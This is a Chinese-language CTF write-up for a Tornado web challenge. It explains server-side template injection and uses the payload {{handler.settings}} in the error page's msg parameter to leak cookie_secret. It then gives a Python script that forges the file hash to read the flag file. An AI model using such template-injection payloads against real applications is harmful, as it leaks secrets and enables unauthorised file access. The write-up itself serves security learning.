知识点:
python模板注入:
就是指将一串指令代替变量传入模板中让它执行 ,例如我们在传入参数 值时,可以用 {{}} 符号来包裹一系列代码,以此替代本应是参数的 id,得到的效果就是http://..../?id={{代码}}。
tornado框架:python较主流的web框架
访问首页显示有三个txt文档,请求链接形式如下所示,参数由filename
和filehash
组成。
file?filename=/hints.txt&filehash=46680cce237a8a9784ec42977d2856b4
hint.txt
中提示了filehash的计算方式:
/hints.txt
md5(cookie_secret+md5(filename))
先随便改下filehash的值,发现跳转到错误页面,并且msg参数的值会回显到屏幕上:
/error?msg=Error
要正常访问/fllllllllllllag
文件的内容,要正常计算出filehash的值,需要先获取cookie_secret
。网上的wp传入的是/error?msg={{handler.settings}}
会打印出cookie_secret,搜索tornado框架的文档:
在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,此处就是借助handler.settings来进行访问。
handler:
构建一个tornado网站,必须包含一个或者多个handler,这些handler是RequestHandler的子类。每个请求都会被映射到handler中进行处理,处理后再将结果返回给客户端。所以,hanlder可以视为客户端请求跟业务服务逻辑间的桥梁。
而RequestHandler.settings又是self.application.settings的别名:
RequestHandler.settings
An alias for self.application.settings.
因此handler.settings实际指向RequestHandler.application.settings,在tornado官方文档中搜索可知application.settings中保存了许多关键字参数,其中就包含cookie_secret
:
cookie_secret:
Used by RequestHandler.get_secure_cookie and set_secure_cookie to sign cookies.
因此本题访问/error?msg={{handler.settings}}
会返回一些关键参数值:
{'autoreload': True,
'compiled_template_cache': False,
'cookie_secret': '11b06953-50fd-4483-b00c-24666d2227e0'}
python计算出结果:
import hashlib
cookie_secret = '11b06953-50fd-4483-b00c-24666d2227e0'
filename = '/fllllllllllllag'
md51 = hashlib.md5()
md51.update(filename.encode(encoding='utf-8'))
str2 = cookie_secret + md51.hexdigest()
md52 = hashlib.md5()
md52.update(str2.encode(encoding='utf-8'))
print(md52.hexdigest())
注意文件名前面加上斜杠/fllllllllllllag
。最后得出filehash值为6b25822d5e24a91e778dcf9419130567
。
/fllllllllllllag
flag{bf6c9e91-24d6-4640-9f37-582fbe4ec31b}